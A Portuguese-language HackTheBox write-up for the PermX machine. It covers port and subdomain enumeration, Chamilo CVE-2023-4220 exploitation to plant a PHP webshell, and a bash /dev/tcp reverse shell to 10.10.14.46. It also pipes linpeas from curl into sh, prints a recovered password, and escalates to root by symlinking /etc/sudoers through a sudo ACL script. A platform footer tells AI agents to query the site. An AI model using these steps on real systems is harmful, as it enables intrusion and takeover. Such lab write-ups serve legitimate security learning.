> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md). # Writeup do HackTheBox PermX Writeup da máquina Easy Linux PermX do HackTheBox cobrindo enumeração de subdomínios, exploração do Chamilo, enumeração com LINpeas, escalada por Sudoers (permissões alteradas do arquivo /etc/sudoers), com {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeração de subdomínios * Exploração do Chamilo * Sistema de enumeração LINpeas * Escalonamento de privilégios do sudoers (permissões alteradas no arquivo /etc/sudoers) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts ```

**Análise das Portas Abertas com extractPorts:** Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

**Varredura de versão das portas com Nmap:** Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p80,22 10.10.11.23 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, insira o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo.

**Buscando possíveis diretórios com o Gobuster:** Usando o Gobuster para verificar possíveis diretórios no site com o arquivo Medium de listagem de diretórios. ```bash gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 ```

**Busca de diretórios com Gobuster:** Use **Gobuster** com um dicionário para encontrar arquivos de acesso ocultos. ```bash gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk ```

### Enumeração de subdomínios Para enumerar os subdomínios de um site usando a ferramenta Wfuzz via console, você pode usar o seguinte comando: {% code fullWidth="true" %} ```bash wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb ``` {% endcode %}

Certifique-se de atualizar o `/etc/hosts` arquivo para incluir os subdomínios descobertos:

{% embed url="" %}

## Vulnerabilidade do Chamilo CMS: O Chamilo apresenta uma vulnerabilidade, identificada como CVE-2023-4220, que permite execução remota de código (RCE). Para explorar essa falha, você pode usar o seguinte script disponível no GitHub: {% embed url="" %} #### Clone o repositório do GitHub: ```bash git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc cd chamilo-lms-unauthenticated-big-upload-rce-poc ``` 2. Faça uma verificação para ver se a vulnerabilidade está presente no alvo: ```bash python3 main.py -u http://example.com/chamilo -a scan ```

### Webshell: Se a vulnerabilidade estiver presente, injete um **webshell em PHP** no Chamilo: ```bash python3 main.py -u http://lms.permx.htb/ -a webshell ```

Depois que a webshell for injetada, você poderá executar comandos na máquina alvo.

### Reverse Shell: Para estabelecer uma conexão de reverse shell e obter acesso à máquina, execute o seguinte comando no seu terminal: ```url bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261" ``` Em seguida, escute na porta 4444: ```bash nc -nlvp 4444 ```

## Escalada de Privilégios **Enumeração do sistema (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):** Usamos o Linpeas para reconhecimento de privilégios: ```bash curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh ```

**Descoberta de um novo usuário:** Durante a enumeração, identificamos um novo usuário chamado `mtz`.

**Recuperando uma senha:** A seguinte senha foi encontrada:

```bash mtz:03F6lY3uXAP2bkW8 ```

#### Flag user.txt:

### Sudoers: Ao executar o `sudo -l` comando, descobrimos que temos a capacidade de executar um script como **root**. ```bash sudo -l ```

Este script Bash modifica as permissões de acesso de um usuário em um arquivo específico usando ACLs, após verificar a validade do caminho e se o alvo é de fato um arquivo.

Por fim, vamos conceder ao usuário mtz direitos de leitura e gravação no arquivo ```bash sudo /opt/acl.sh mtz rw /etc/sudoers ``` Ocorre um erro porque o arquivo precisa estar localizado em nosso `/home/mtz` diretório

Para resolver, uma alternativa pode ser criar um link simbólico de um arquivo do sistema para o `/home/mtz/` diretório e executar o script nesse link. ```bash ln -s /etc/sudoers /home/mtz/sudoers_link sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link ```

Precisamos editar o arquivo "sudoers/\_link", que atualizará o arquivo sudoers, para conceder direitos totais ao usuário mtz. ```bash mtz ALL=(ALL:ALL) ALL ```

### Flag root : )

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.